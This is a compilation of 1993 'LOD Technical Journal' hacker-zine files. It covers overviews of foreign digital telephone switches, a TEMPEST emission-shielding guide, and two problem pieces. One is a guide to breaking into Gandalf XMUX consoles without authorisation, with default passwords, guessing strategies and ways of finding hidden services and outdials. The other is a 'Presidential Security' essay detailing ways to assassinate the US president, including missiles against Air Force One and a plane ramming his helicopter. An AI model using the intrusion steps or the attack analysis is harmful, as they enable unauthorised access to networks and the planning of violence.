AMU handles DSS's specific functions such as the collection and persistence checking of status info and diagnostic hardware. AMU interfaces to the PU and thus advises the DSS maintenance software on fault areas. AMU receives time and fault switchblock indicators from DLT using AIU in the TS. Persistence checks are done to label the alarm as hard or transient.

DLT

DLT conducts the line associated functions of monitoring, installation etc. DLT also performs switch-related operations. Several are for simple backup duplications of such functions as trunking and switch fault detections.

DLT Related Functions

The line processor encodes or decodes HDB3 signals and recovers the received clock. The clock is recovered by using a ringing circuit. The clock synchronizes the switching centre by providing a network frequency reference. DLT will identify remote alarm information if the distant alarm bit (usually bit 3 in channel 0 of odd frames) shows a problem. DSS will, using AMU instruct MCS to locate the fault. An alarm indications signal (AIS) shows a transmission equipment failure by tossing out a load of "1s" in the frame.

Line errors can be detected locally if HDB3 input goes or if synchronization is off. If this occurs MCS is informed and DSS transmits a distant alarm unit signal.

Switch-related DLT functions are usually involved in duplicated trunking, fault location or switching channel 0 spare-bits.

The most interesting function is fault location. DLT works with maintenance software to locate and diagnose switchblock faults. By using path checks or loop backs, results are sent via AIU to DLT.

Paths are tested using check patterns at both ends of a trunk. They can be sent in and monitored on any channel after switching. Registers are used to store the check patterns and they are controlled by the "central office".

Or the DLT will "loop back" its transmit channels to the receive input of trunking. Loop back is sometimes combined with a path check. By changing the switch connections a closed loop can be implemented throughout the trunk. Closed loops are very effective in determining hard faults from transient ones.

Netherlands - PRX-D (+31)

The Processor Controlled Exchange-Digital (PRX-D) builds upon the PRX system with digital-time division multiplexing (TDM) and with other enhancements. PRX-D was developed by Philips Telecommunication as an intelligent SPC system.

The three main areas of PRXs are:
- the switching network (SWN)
- central control complex (CCC)
- operator services (OPS)

Two different versions of trunk lines are used. An analog version - PRX-A has six linked stages and reed-relay crosspoints of two or four wires or a digital version of the TST type. Local or remote usage is possible by sending traffic to the trunks.

The CCC has two types of telecom processors (TCP) to deal with different size exchanges. TCP 18 covers small-medium exchanges and TCP 36 medium-large exchanges using multiprocessing with synchronized pairs.

OPS is controlled by a mini-processor called TCP 7. OPS deals with OA&M and AMA.

Architecture

PRX-D is made of two layers:
- the main layer with the CCC, TCP XX and the control channel processor terminals (CPT), connecting this layer to the control channel (CCH)
- another layer of SWN modules and the sub-channel controller (SCC)

The digital switching network (DSWN) passes voice and data traffic on 64 kbit/s, 32 channel PCMs. The PSWN has block terminals (TER) which interface to other circuits and allow services and signals to be interconnected by a

digital trunk link network (DTN).

DTN

DTN is a one-way only transmission on a 4 wire connection. The highway-to-group (HGD) and group-to-highway multiplexer (GHM) are 16 inlet ports in 4 X 4 groups. A highway switch (HWS) is a group of up to 128 X 128 highways whose crosspoints can switch from one highway to the next under the control of a highway switch address generator (HSA). A highway-to-group demultiplexer (HGD) does the opposite of the GHM.

A digital trunk-line block (DTB) carries a single highway and is controlled by a DTB marker (DTM). DTN utilizes 7 varieties of customized low current-mode logic (CCL) ICs.

CCL

The central clock (CCL) is made up of the synchronized mode clock generators (CLG), the clock measuring unit (CMU) and sometimes a clock reference unit (CRU). The DTN is sent timing information on 4096 Khz sine waves and 8 Khz alignment pulses.

Terminals

The 4 main TERs are:
- interfacing analog circuits (ACT)
- subscriber lines
- digital circuits (DLT)
- signalling and services (SST)

- ACT has a peripheral module controller (AMC), a power supply unit (PSU) and possibly a DTN interface board (DIB). The DIB performs the transmission of timing signals and assigns time slots.

- SST handles 2048 kbit/s groups by using DTN for signalling ie. MFC, keytones etc. for services such as voice response systems.

Software

The operational program for TCP 18 is made up of:
- master control program (MCP)
- call processing
- error management
- configuration management

The MCP handles the central control unit (CCU), I/O operations and other misc. services.

Communication between the main control unit (MCU) and the PMC is done by transport handlers such as the digital trunk marker (DTM), analog circuit terminal (ACT), digital circuit terminal (DCT) and the signalling and service terminal (SST).

Call Handling

One part of the Telephony Operating System (TOS) is call processing modules. Which distribute calls to an open CCU depending on network conditions. If a secondary control unit (SCU) is available it will receive the calls. If niether is available then the MCU will receive them.

Error Maintenance

Error detecting hardware does diagnostics such as checking parity, comparing timeout circuits etc. By using hardware to perform tests, checking is done

every time the hardware runs and processing time needn't be wasted running testprograms. When the hardware equipment itself needs testing, testprograms are then used.

Germany - EWS-D (+49)

Manufactured by Siemens Telecom, EWS-D is a complete digital switching system, capable of serving from 200 lines to 60,000 trunks.

Architecture

Subscriber line terminations and interchange trunks are used with trunk/line groups (LTGs) where digital tone generators and digit receivers are located. A TS performs connections inside of the LTG. Digital switching connects the groups to a central processor (CP). Functions carried out by the CP include overall switching, data storage and remote operation of the system.

Here's a quick example of how a call would be processed under EWS-D:

- the group processor (GP) sense that the phone is off-hook and gives the caller a tone generator and a digit receiver on the LTG using the group switch (GS).
- the GP sends the service requested and the dialled digits to the CP.
- CP checks the callers COS, locates a path and informs GP of the caller
- the callee's GP finishes the connection with its LTG, sends a ringing and places the callee off-hook.

LTG

Signals from an analog subscriber's line are converted into PCM signals on the line circuit. Up to four interexchange trunk terminations comprise one module. Four modules make up one highway and up to 128 interexchange trunks can be on one LTG. A basic subscriber line circuit interfaces with any signalling system. Notable functions of the subscriber line circuit are the 50/16 kHz call charge meters on the subscriber's premises, access circuitry for testing and paystation signalling.

The PCM 30 transmission system has its synchronization, signalling channel and alarm signal on one module. 2.048 Mbit/s highways are connected to the GS. For a connection to the central network, 4 2.048's become one 8.192 Mbit/s signal. Because the network is duplicated, the identical modules can easily be used for testing.

Tones such as MFC frequencies are generated digitally on a LTG and sent to the GS. One change here can effect the entire network.

Central Switching Network

By using a central switching network up to 504 trunk groups, equivalent to 100,000 subscriber lines or 604 trunks can be attained. 8.192 Mbit/s interfaces are used between the network and the LTG. As mentioned before the entire network is duplicated. In case of a fault, the network will switch over to its other half.

Control and Common Signalling Channels

Control channels are grouped into units of 128 for distribution on the 8.192 Mbit/s network. The channels in time lot 0 are switched to the LTG only on transmission links. Only half - 64 of 128 control channels are used. The other half are for future uses.

With SS7 the procedure for switching signalling channels though the LTG is identical to that of the control channels.

OA&M

Digital systems such as this have far fewer errors than analog SPC systems do due to the smaller number of modules. EWS-D is expected to have fewer than 12 hardware faults per 1000 LTGs with less than 2 hours per fault.

Both hardware and test programs are used to diagnose both subscriber line and trunk faults. When testing is done on long distance trunks the equipment on the distant exchange and on the transmission system is done. Measuring equipment such as ATME2 look at the director and responder operations. Most local trunks are still copper and EWSD has contacts on the incoming and outgoing circuits for testing. The monitoring of PCM transmission links is integrated into EWS-D.

System status is given by an operating terminal indicating system traffic, the failure/active status of redundant central units, LTGs and equipment inside LTGs, the number of removed from active LTGs, subscriber lines and the number of non-switchable call requests. Remote operations can be done via this terminal.

Administration tasks are also performed at the operating terminal. When a remote operator is needed, communication equipment such as Transdata is used to connect to the exchanges over the data transmission channel.

Italy - PROTEO (+39)

PROTEO was designed by Societa Italiana Telecomunicazioni SpA (SITS).

Architecture

It is a fully integrated, digital switching system with SPC. Signals are converted from analog to digital and transmitted over a PCM. Capacity is 30,000 subscribers in 32 peripheral exchanges (CTs) hooked up to a transit network (RT) using 32, 2 channel PCMs. Overall control is by a central computer (CC). A lone CT can handle 2,304 subscriber lines with 18 PCMs, 270 LF trunks and possess 2 line control units (UCL) on a connecting network (RC).

Subscribers and trunks are connected through a time division multiplex (TDM) and can go directly to PAM without the analog to digital conversion using voice scanners if need be.

The CT, can act as a switch if internal subscribers are being switched to RTs. CT is commonly connected to the RT for interconnections with external switches. The CT has a codecom unit to convert analog to digital or digital to analog for PCM bundle generation or insertion into PAM. A TST connection network is inside the RT and is controlled by the CC using the transit control unit (UCT). The RC switches 64 kbit/s data channels on 2 Mbit/s PCM bundles towards UCS when exchange signalling exists and to UCM when remote signalling comes in on a common channel. If CCS isn't present, then signalling control units (UCS) are used to process signalling codes.

Maintenance

CC uses LEONE processors in SPC for maintenance and has a BHCA capacity of 150,000. PROTEO handles rural areas quite well as CTs can be located at great distances from the RT. If less than 250 subscribers exist, concentrators will be used to connect them to a CT.

Flexibility

The modularity of PROTEO is its ability to adapt to different network conditions. By having functions act independently of others, upgrades and

maintenance is simplified.

Japan - NEAX 61 (+81)

The NEAX 61 was designed by Nippon Electric Co. and was first installed in the US. But due to its origin it is being included as a Japanese system. It has SPC, PCM TDM and uses a four stage TSST switching network.

Specifications

circuit capacity:
local switching - 100,000 lines, 13,000 trunks
toll switching - 60,000 trunks
international switching - 30,000 international circuits
network capacity - 22,000 erlangs
call handling capacity - 700,000 BHCA

Architecture

NEAX 61 is comprised of 4 subsystems:

- application subsystem - several service interface modules each having line and trunk circuits, interface circuits, multiplexers and a controller. This subsystem gives a standard interface to the other subsystems. It controls the terminal circuits and interfaces them with the switching subsystem. Service modules receive information from the processor to establish paths and other actions. Each service module has a terminal and interface circuit, a duplicated controller and primary multiplexer (PMUX) and demultiplexer. The controllers collect terminal circuit scanning data, control the terminal and interface circuits and communicate with the processor. The modules each have their own terminal and interface circuits:

- analog trunk interface module - Both the terminal and interface circuits are codecs. Any analog trunk can be used by the module and each trunk has its own codec channel.

- analog line interface module - The terminal circuit is an analog line circuit that conducts two to four wire conversion, ringing application, protects against overvoltage and other testing procedures. By using one of four switch selectable balancing networks an insertion loss less than 0.5 dB is possible.

- digital line interface module - Connects PCM analog and digital subscriber carrier lines. The interface circuit is a digital line switch that concentrates digital lines by assigning time slots and putting each time slot on a serial bit stream to the PMUX.

- operator position interface module - connects the different operator positions such as toll and directory assistance. Operators converse with callers over position trunk circuits. The controller has a capacity of up to 64 operator positions and the PMUX can have up to 120 operators on a position trunk.

- processor subsystem

- Maintenance and Administration subsystem - Alarm information is shown on the maintenance frame or at a supervisory test desk. The line test desk platforms subscriber line testing. NEC has a technical assistance center where NEC personnel provide support on a subscription basis.

Sources
Various IEEE Documents

Helpful International Operators

The LOD Technical Journal: File #9 of 12

Hacking GANDALF XMUX'S

Written by:
Deicide
on 03/29/93

==========

*NOTE: While writing this file I assumed that the reader has a working knowledge of PSNs.

||||||

"Invalid Name
Names must consist of 1 to 8 alphanumeric characters"
Then you are dealing with the XMUX Console.
??
On a standard NUA it will bring you right to the "Password >" prompt, no hassles. You can then proceed to the section that deals with hacking the console.
On a standard NUA + extention, it is not so easy. When you first hit the NUA, it will give you the "Remote Directive" error message, telling you that you "forgot" the extention. Now, the error message could mean you forgot the extention for a VAX, also, but we will assume that it is a XMUX on the NUA. This is true only a fraction of the time, but try this on every Remote Directive message, you'll find a good share of XMUX's. First of all, try the LCN (subaddress) of 1 on the NUA. If you come up with the Fox segment of the XMUX (explained earlier) then you have an XMUX Console on the NUA, it's just hiding. If the LCN brings up the Remote Directive message again, then try the extention of LOGGER on the NUA. If it brings up the XMUX Logger, then again, the XMUX Console is there, but with a bit of security added on. If you now know that you are on an XMUX, try the CONSOLE extention. It should bring you to the "Password >" prompt, or occasionally right inside without needing a password.
Starmaster's and PACX's almost always have an XMUX attached on to it. Use the Starmaster or PACX's NUA + the extention CONSOLE. It will most likely bring you to the "Password >" prompt. If it doesn't work, try LCN's. If that fails, try "XMUX" or "XCON" from the Starmaster/PACX service prompt.
The LCN's off all the other system/OS types is a bit more complicated. You can either guess, pick the likely ones, or try them all. What this is is an XMUX in coexistance with another type of system, such as AOS/VS. The most common way to find these is by adding an LCN of 1 to the NUA of the system. If it comes up with the XMUX FOX section, then you can be sure an XMUX is present. To find the XMUX Console, use LCN's of 4 and above(2 & 3 being Logger and Machine), up to the LCN of 15(maximum on XMUX). If you still haven't found the Console, and it's returning the Remote Directive error message, now's the time to use the CONSOLE extention. In most cases it'll bring up the "Password >" prompt, or right into the Console Menu.

HOW TO PENETRATE THE XMUX CONSOLE "PASSWORD >" PROMPT

To start you off, XMUX Console Passwords MUST be within 1 to 8 alphanumeric characters. Any combination within that boundary is an acceptable password. Now, while it is true that the password could be a random letter/number combination, such as G2Z7SWJ8, and therefore extremely impractical to hack, it is almost a given that the password is a relevant word or abbreviation, with not more than one numeric character, which is usually not even included. Also, you get 4 attempts at a password before being logged off, and remember, you don't even need to find a username.

When you first reach the "Password >" prompt it's a good idea to try the defaults(in order of occurance):

- Gandalf
- Xmux
- Console
- System

Also, Password (no, really), Network, CPU, Switch & Network are also frequently found.

Then, if the defaults don't work, it's time for a little calculated brute forcing. If the system has a herald, such as "BenDover Field Communications" then try everything you possible can thing of that is relevant to the herald, such as Bendover, Ben, Dover, BDFC, Field, Telecom, etc. Also, combine these with the defaults, particularly Xmux. As in BenXMUX, or FieldMux, etc. If there is no herald, or all the thing you can think of to do with the herald fail as passwords, then it is time to get the node name. The node name is used very frequently as a password, thus a good thing to try. But where to get the node name with out getting the password first? It is contained in two other places other than the Console, with ALWAYS at least one of the

facilities open to you. The Logger (LCN 2, or extention LOGGER) always spurts out the log name first upon connect. This is always available, I have only seen one case in which the Logger information was protected, and that was achieved by wiping it out, which very few administrator's do. The other source is the Machine (LCN 3, or extention MACHINE), a very handy source of information. You will recognize the Machine by its "#" prompt. At this prompt type "S" for system stats. The first thing you see in the system stats is the Node Name. Also, with machines type "L". Occasionally it will be set to show the log, which contains the Link Addresses (usually other netted computers, frequently Gandalfs) and UID's as well. Try the Node Name by itself as a password, then in combination with all the above, such as a combo of Default & Node Name. If you follow all these above methods, 50% of the time you will find the password. If you don't get the password, don't worry, there are many more XMUX's out there with poor security, go for those. But before you move on, try the LCN's from 4-15, frequently you'll find another system, often a private PAD or an outdial.

WHAT TO DO WITH THE XMUX CONSOLE ONCE INSIDE

For those itching to read other people's mail, or retrieve confidential files, etc, you will be very disappointed. Although once inside the XMUX Console you have virtual Superuser status, the commands are all maintenance related. But, often you will find other systems, quite often networks, PADs, & outdials from inside.

You will first encounter the primary menu, which looks similar to this:

```
Gandalf                        XMUX                          (date)
Rev(version)            Primary Console Menu                 (time)
                      Node:(nodename)
Primary Menu:
 1. Define
 2. Display
 3. Maintenance
 4. Supervise
 5. Exit
Primary selection >
```

Now, although there are some other useful and interesting features to the XMUX console, I will only show you the 3 most useful features, those being Abbreviated Command, Service & Call Status.

Abbreviated Command is an option found in the Define sub-menu. Hit 7 once inside the Define sub-menu to bring up the Abbreviated Command prompt. Type a ? to show all the abbreviated commands. If there are none, curse your luck and move on to the next feature. If there are some, type them in, one at a time. Each Abbreviated command is really a macro, and a macro of a NUA plus the subaddressing and data character extension needed to enter the system. These can be very useful, not only for the NUA & subaddress, but for the fact that the extension is included. Most times extensions are hard if not impossible to guess, and the macro throws it right in your face. The Abbreviated Command is in the format of XXXXXXXXdEXTENSION, in that the X's are where the NUA is placed, the EXTENSION is the extension characters, and the 'd' is really where the comma goes to separate the two. So if the Abbreviated Command was 55500123dabc, the NUA would actually be

- 55500123,abc -

Service is a menu option also from the Define sub-menu. What it enables you to do is view all the services available, plus their function & LCN. Type "11" from the define menu, then "?" for a list of the services available. Console, Fox, Logger & Machine will always be present. Anything else is a bonus, and should be capitalized upon. For example, if you see "Modem" as one of the services, then enter "Modem" from the Service sub-sub-menu to see which LCN the modem is on.

Display Call Status is a handy command used from the Display sub-menu which gives a log of all the calls the system has handled. In the call log are the NUA's of the system that called, often a netted system such as another Gandalf.

The LOD Technical Journal: File 10 of 12

Tempest in a Teapot

Do-it-yourself techniques to inhibit electromagnetic eavesdropping of personal computers.

Grady Ward <grady@netcom.com>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.2

mQCOAiumM0QAAAED+JPD8OULO2aXRvU2FDksMjJeGT96kGK5eJK1grkXuIHz+6pe
jiedYOv72kBQoquycun191Ku4wsWVTz6ox/bpReBs5414OTPzQVJgWQzCW1N4BfV
Wr4eEn3qnFsVLXXxk3oYGydIeJcmelSyuPSq/Oq7Q+eHkKgjqxDTjVMu8iEAEQEA
AbABh7QuR3JhZHkgV2FyZCAgPGdyYWR5QG5ldGNvbS5jb20+ICAoNzA3KSA4MjYt
NzcxNbABAw==
=e3rN
-----END PGP PUBLIC KEY BLOCK-----

Version 1.0 22 March 93

TEMPEST is the code name for technology related to limiting unwanted electromagnetic emissions from data processing and related equipment. Its goal is to limit an opponent's capability to collect information about the internal data flow of computer equipment. Most information concerning TEMPEST specifications is classified by the United States Government and is not available for use by its citizens.

The reason why TEMPEST technology is particularly important for computers and other data processing equipment is the kinds of signals components in a computer use to talk to each other ("square waves") and their clock speeds (measured in megahertz) produce a particularly rich set of unintentional signals in a wide portion of the electromagnetic spectrum. Because the spurious emissions occupy so wide a portion of that spectrum, technologies used to block one portion of the spectrum (as pulling the shades closed on a window to stop the visible light portion) are not necessarily effective in another portion.

Unintentional emissions from a computer system can be captured and processed to reveal information about the target systems from simple levels of activity to even remotely copying keystrokes or capturing monitor information. It is speculated that poorly protected systems can be effectively monitored up to the order of one kilometer from the target equipment.

This note will examine some practical aspects of reducing the susceptibility of your personal computer equipment to remote monitoring using easily-installed, widely available after-market components.

I

One way of looking at TEMPEST from the lay person's point-of-view is that it is virtually identical to the problem of preventing electromagnetic interference ("EMI") by your computer system to others' radios, televisions, or other consumer electronics. That is, preventing the emission of wide-band radio "hash" from your computers, cabling, and peripherals both prevents interference to you and your neighbours television set and limits the useful

signal available to a person surreptitiously monitoring.

Viewing the problem in this light, there are quite a few useful documents available form the government and elsewhere attacking this problem and providing a wealth of practical solutions and resources. Very useful for the lay person are:

Radio Frequency Interference: How to Find It and Fix It. Ed Hare, KA1CV and Robert Schetgen, KU7G, editors
The American Radio Relay League, Newington , CT
ISBN 0-87259-375-4 (c) 1991, second printing 1992

Federal Communications Commission Interference Handbook
(1991)
FCC Consumers Assistance Branch
Gettysburg, PA 17326
717-337-1212
and
MIL-STD-188-124B in preparation
(includes information on military shielding of tactical
communications systems)
Superintendent of Documents
US Government Printing Office
Washington, DC 20402
202-783-3238

Information on shielding a particular piece of consumer
electronic equipment may be available from the:

Electronic Industries Association (EIA)
2001 Pennsylvania Ave NW
Washington, DC 20006

Preventing unintended electromagnetic emissions is a relative term.
It is not feasible to reduce to zero all unintended emissions. My personal goal, for example, might be to reduce the amount and quality of spurious emission until the monitoring van a kilometer away would have to be in my front yard before it could effectively eavesdrop on my computer. Apartment dwellers with unknown neighbours only inches away (through a wall) might want to even more carefully adopt as many of the following suggestions as possible since signal available for detection decreases as approximately the inverse square of the distance from the monitoring equipment to your computer.

II
Start with computer equipment that meets modern standards for emission.

In the United States, the "quietest" standard for computers and peripherals is known as the "class B" level. (Class A level is a less stringent standard for computers to be use in a business environment.).

You want to verify that all computers and peripherals you use meet the class B standard which permits only one-tenth the power of spurious emissions than the class A standard. If you already own computer equipment with an FCC ID, you can find out which standard applies. Contact the FCC Consumers Assistance Branch at 1-717-337-1212 for details in accessing their database.

Once you own good equipment, follow the manufacturer's recommendations for preserving the shielding integrity of the system. Don't operated the system with the cover off and keep "slot covers" in the back of the computer in place.

III
Use only shielded cable for all system interconnections.

A shielded cable surrounds the core of control wires with a metal braid or foil to keep signals confined to that core. In the late seventies it was common to use unshielded cable such as "ribbon" cable to connect the computer with, say, a diskette drive. Unshielded cable acts just like an antenna for signals generated by your computer and peripherals. Most computer manufacturer supply shielded cable for use with their computers in order to meet FCC standards. Cables bought from third-parties are an unknown and should be avoided (unless you are willing to take one apart to see for yourself!)
Try to avoid a "rat's nest" of wire and cabling behind your equipment and by keeping all cables as short as possible. You want to reduced the length of unintended antennas and to more easily predict the likely paths of electric and magnetic coupling from cable to cable so that it can be more effectively filtered.

IV
Block radiation from the power cord(s) into the house wiring.

Most computers have an EMI filter built into their body where the AC line cord enters the power supply. This filter is generally insufficient to prevent substantial re-radiation of EMI voltages back into the power wiring of your house and neighbourhood. To reduce the power retransmitted down the AC power cords of your equipment, plug them in to special EMI filters that are in turn plugged into the wall socket. I use a model 475-3 overvoltage and EMI filter manufactured by

Industrial Communication Engineers, Ltd.
P.O. Box 18495
Indianapolis, IN 46218-0495
1-800-ICE-COMM
ask for their package of free information sheets

(AC and other filters mentioned in this note are available from a wide variety of sources including, for example, Radio Shack. I am enthusiastic about ICE because of the "over-designed" quality of their equipment. Standard disclaimers apply.)

This particular filter from ICE is specified to reduce retransmission of EMI by a factor of at least 1000 in its high-frequency design range. Although ideally every computer component using an AC line cord ought to be filtered, it is especially important for the monitor and computer CPU to be filtered in this manner as the most useful information available to opponents is believed to come from these sources.

V
Block retransmitted information from entering your fax/modem or telephone line.

Telephone line is generally very poorly shielded. EMI from your computer can be retransmitted directly into the phone line through your modem or can be unintentionally picked up by the magnetic portion of the EMI spectrum through magnetic induction from power supplies or the yoke of your cathode ray tube "CRT" monitor.

To prevent direct retransmission, EMI filters are specifically designed for modular telephone jacks to mount at the telephone or modem, and for mounting directly at the service entrance to the house.

Sources of well-designed telephone-line filter products include ICE

(address above) and

K-COM
Box 82
Randolph, OH 44265
216-325-2110

Your phone company or telephone manufacturer may be able to supply you with free modular filters, although the design frequencies of these filters may not be high enough to be effective through much of the EMI spectrum of interest. Keep telephone lines away from power supplies of computers or peripherals and the rear of CRTs: the magnetic field often associated with those device can inductively transfer to unshielded lines just as if the telephone line were directly electrically connected to them. Since this kind of coupling decreases rapidly with distance, this kind of magnetic induction can be virtually eliminated by keeping as much distance (several feet or more) as possible between the power supply/monitor yoke and cabling.

VI
Use ferrite toroids and split beads to prevent EMI from escaping on the surface of your cables.

Ferrites are magnetic materials that, for certain ranges of EMI frequencies, attenuate the EMI by causing it to spend itself in heat in the material rather than continuing down the cable. They can be applied without cutting the cable by snapping together a "split bead" form over a thick cable such as a power cord or by threading thinner cable such as telephone several times around the donut-shaped ferrite form. Every cable leaving your monitor, computer, mouse, keyboard, and other computer peripherals should have at least one ferrite core attentuator. Don't forget the telephone lines from your fax, modem, telephone or the unshielded DC power cord to your modem. Ferrites are applied as close to the EMI emitting device as possible so as to afford the least amount of cable that can act as an antenna for the EMI.

Good sources for ferrite split beads and toroids include

Amidon Associates, Inc.
P.O. Box 956
Torrance, CA 90508
310-763-5770
(ask for their free information sheet)

Palomar Engineers
P.O. Box 462222
Escondido, CA 92046
619-747-3343
(ask for their free RFI information sheet)

and Radio Shack.

VII
Other practical remedies.

Other remedies that are somewhat more difficult to correctly apply include providing a good EMI "ground" shield for your computer equipment and other more intrusive filters such as bypass capacitor filters.

You probably ought not to think about adding bypass capacitors unless you are familiar with electronic circuits and digital design. While quite effective,

added improperly to the motherboard or cabling of a computer they can "smooth out" the square wave digital waveform -- perhaps to the extent that signals are interpreted erroneously causing mysterious "crashes" of your system. In other cases, bypass capacitors can cause unwanted parasitic oscillation on the transistorized output drivers of certain circuits which could damage or destroy those circuits in the computer or peripherals. Also, unlike ferrite toroids, adding capacitors requires actually physically splicing them in or soldering them into circuits. This opens up the possibility of electric shock, damage to other electronic components or voiding the warranty on the computer equipment.

A good EMI ground is difficult to achieve. Unlike an electrical safety ground, such as the third wire in a three-wire AC power system, the EMI ground must operate effectively over a much wider part of the EMI spectrum. This effectiveness is related to a quality known as electrical impedance. You desire to reduce the impedance to as low a value as possible over the entire range of EMI frequencies.

Unlike the AC safety ground, important factors in achieving low impedance include having as short a lead from the equipment to a good EMI earth ground as possible (must be just a few feet); the gauge of the connecting lead (the best EMI ground lead is not wire but woven grounding "strap" or wide copper flashing sheets; and the physical coupling of the EMI into the actual earth ground. An 8 ft. copper-plated ground may be fine for AC safety ground, but may present appreciable impedance resistance to an EMI voltage. Much better would be to connect a network of six to eight copper pipes arranged in a six-foot diameter circle driven in a foot or two into the ground, electrically bonded together with heavy ground strap and connected to the equipment to be grounded via a short (at most, several feet), heavy (at least 3/4-1" wide) ground strap.

If you can achieve a good EMI ground, then further shielding possibilities open up for you such as surrounding your monitor and computer equipment in a wire-screen Faraday cage. You want to use mesh rather than solid sheet because you must preserve the free flow of cooling air to your equipment. Buy aluminum (not nylon) screen netting at your local hardware store. This netting typically comes in rolls 36" wide by several feet long. Completely surround your equipment you want to reduce the EMI being careful to make good electrical bonds between the different panels of netting and your good earth ground. I use stainless steel nuts, bolts, and lock washers along with special non-oxidizing electrical paste (available from Electrical contractors supply houses or from ICE) to secure my ground strapping to my net "cages". A good Faraday cage will add several orders of magnitude of EMI attenuation to your system.

VIII
Checking the effectiveness of your work.

It is easy to get a general feeling about the effectiveness of your EMI shielding work with an ordinary portable AM radio. Bring it very close to the body of your computer and its cables in turn. Ideally, you should not hear an increased level of static. If you do hear relatively more at one cable than at another, apply more ferrite split beads or obtain better shielded cable for this component. The practice of determining what kind of operating system code is executing by listening to a nearby AM radio is definitely obsolete for an well-shielded EMI-proof system!

To get an idea of the power and scope of your magnetic field emissions, an ordinary compass is quite sensitive in detecting fields. Bring a compass within a few inches of the back of your monitor and see whether it is deflected. Notice that the amount of deflection decreases rapidly with distance. You want to keep cables away from magnetic sources about as far as required not to see an appreciable deflection on the compass.

VIIII
Summary

If you start with good, shielded equipment that has passed the FCC level B emission standard then you are off to a great start. You may even be able to do even better with stock OEM equipment by specifying "low-emission" monitors that have recently come on the market in response to consumer fears of extremely low frequency ("ELF") and other electromagnetic radiation. Consistently use shielded cables, apply filtering and ferrite toroids to all cabling entering or leaving your computer equipment. Finally, consider a good EMI ground and Faraday cages. Beyond this there are even more effective means of confining the electrical and magnetic components of your system through the use of copper foil adhesive tapes, conductive paint sprays, "mu metal" and other less common components.

The LOD Technical Journal: File #11 of 12

```
OOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOO                    OOOO
 []                      []
 []Presidential Security[]
 []                      []
OOOO    By Argon/LOD   OOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
```

This phile is intended to give a glimpse into what's behind all those stern-faced, emotionless secret service agents that surround the president and to give analysis into the security surrounding our executive branch.

Our current President, or more formally Commander in Chief is as everyone knows is Bill Clinton. Ever since his inauguration he has been under supposedly "tight" security. However, even with up to double the normal security allotment he is still at risk. And the list of would be assassins is large, everyone from Iraqis, Serbians, Islamic fundamentalist militants and if you listen to these conspiracy theories you can throw in the military industrial establishment and heck even the religious right has motive for assassinating the CINC.

Which has given rise to millions of dollars worth of hardware and Secret Service payrolls for his protection. 200 agents, personal security teams and body-guards watch our CINC 24 hours a day without rest.

What I intend to analyze is the methods of protection utilized by the SS, their weaknesses and how they can be rectified. As the most powerful individual in the world, our president must be safeguarded at all costs, as he is an extremely high profile target. Nothing could give a terrorist group more publicity and recognition that assassinating the American president. Hopefully, the SS can keep this in mind when reading the recommendations suggested later on when they review this journal for their computer crime investigations... Perhaps someone will bring this to the CINC's attention, as for the next 3 odd years the only relevancy of this phile is in ensuring *his* safety.

4 US Presidents have been assassinated in our nation's history so with such a risk of assassination no cost in protection is to high. The huge Whitehouse budget can easily afford to spend more on security and less on bureaucracy.

At first glance, a Presidential assassination seems very simple. After all, he's in front of the cameras up to 2 hours each day and its's no secret where to find him, just stroll over to 1600 Pennsylvania Av. The Whitehouse doesn't

appear to be well defended, the windows aren't sandbagged, there is no barbed wire, electrified fence, guard towers, minefields or even a solid wall. Just a fragile and cosmetic black gate fence.

This first impression is entirely incorrect. The Whitehouse is ringed in other tall buildings, giving SS sharpshooters an excellent position to fire from. Behind all the stonework they have a superb spot to cover the Whitehouse with. And the uncluttered Whitehouse lawn gives them a clear field of fire. Anyone stupid enough to simply scale the fence, or ram through it would be cut down in a hail of fire before making it halfway across the lawn. Coming from those perched in the surrounding buildings, and the agents inside the whitehouse. The sharpshooters posted to presidential security are simply the best at what they do. They don't "miss".

Perhaps the most effective route for a terrorist to take would be to attack the President while he's airborne in either a helicopter or airplane (in this case Air Force 1). Here the President is certainly at his most vulnerable. Infrared (IR) guided surface to air missiles (SAMs) such as the Russian SA-7 or newer SA-14, or the US Stinger could be used with deadly effect to shoot down the aircraft. All aircraft the President travels in are equipped with IR jammers such as the ALQ-144, which send out hotter heat waves than the aircraft does in different directions from a small pylon shaped group of lenses. Presently most missiles are not advanced enough to pick out the aircraft from all the other false directed heat. Non IR guided systems can be utilized though. The British Shorts Blowpipe or Javelin however are optically guided, by means of a joystick and monocular sight. So IR jamming is useless. The only way to really avoid them is to silence the person guiding it. And these are not too difficult to obtain, they have already been used by the Afgan rebels. So obtaining these and other SAMs is relatively easy, as they are found in many of the world's hotspots for the right price. There is no effective safeguard in place by the SS to protect the Presidents aircraft from an optically guided SAM.

Even if a terrorist has no access to a SAM aerial assassinations are still possible. A small "Cessna" like aircraft could simply be used in a "Kamikaze" like role by colliding midair at high-speed with the president's helicopter. Given the superior speed of a fixed wing aircraft the helicopter pilot would have to be highly skilled to avoid it. Presidential pilots are trained in such avoidance techniques but whether they could dodge one in practise is unclear.

The Soviets used to have a phobia about helicopters because of their low speed and high vulnerability to SAM's, ground fire and aircraft. Consequently Secretary Generals and high ranking officials never flew by helicopter. The President should likewise cease travel by helicopter as well. Conventional fixed wing flights are much safer. Only during takeoff and landing is the President vulnerable, and then only to SAM's. Groundfire is ineffective against large body aircraft and with greater speed and size the risk from "Kamikaze" style attacks is reduced. Fighter cover, usually from F-14's is occasionally provided so any hostile aircraft (such as a Kamikaze Cessna) wouldn't stand a chance. As Air Force 1 moves at slow speeds during landings or is slowly accelerating off the ground during takeoff's there is an *alarming* threat from SAM's. Slow moving giants like Air Force 1, are turkey shoots for agile, supersonic man-portable SAM's. When taking off or landing at a public airport an assassin has many places to make a hidden lanching from. With a range of over 2 Km, Air Force 1 is vulnerable for a *long* period of time. As it climbs, it has no speed or room to manoeuvre. Even if it could, commercial airliners are not known for their agility. The only hope then is through IR jamming, electronic jamming, chaff or flares. Since the assassin knows the runway position, he knows the direction of where Air Force 1 must takeoff or land from. There would be less than 15 seconds before launch and impact. The launch-warning beeper aboard Air Force 1 would only just be recognized before Air Force 1 would be blown from the sky.

To reduce this risk, the President should takeoff and land from well-secured, isolated military airfields when travelling domestically and internationally and stick as much to ground transport as possible. By using secret travel plans (such as which airport he will arrive at in New York for example) an assassin won't know which airport to cover. After all the public doesn't need to know the Presidents air travel itinerary.

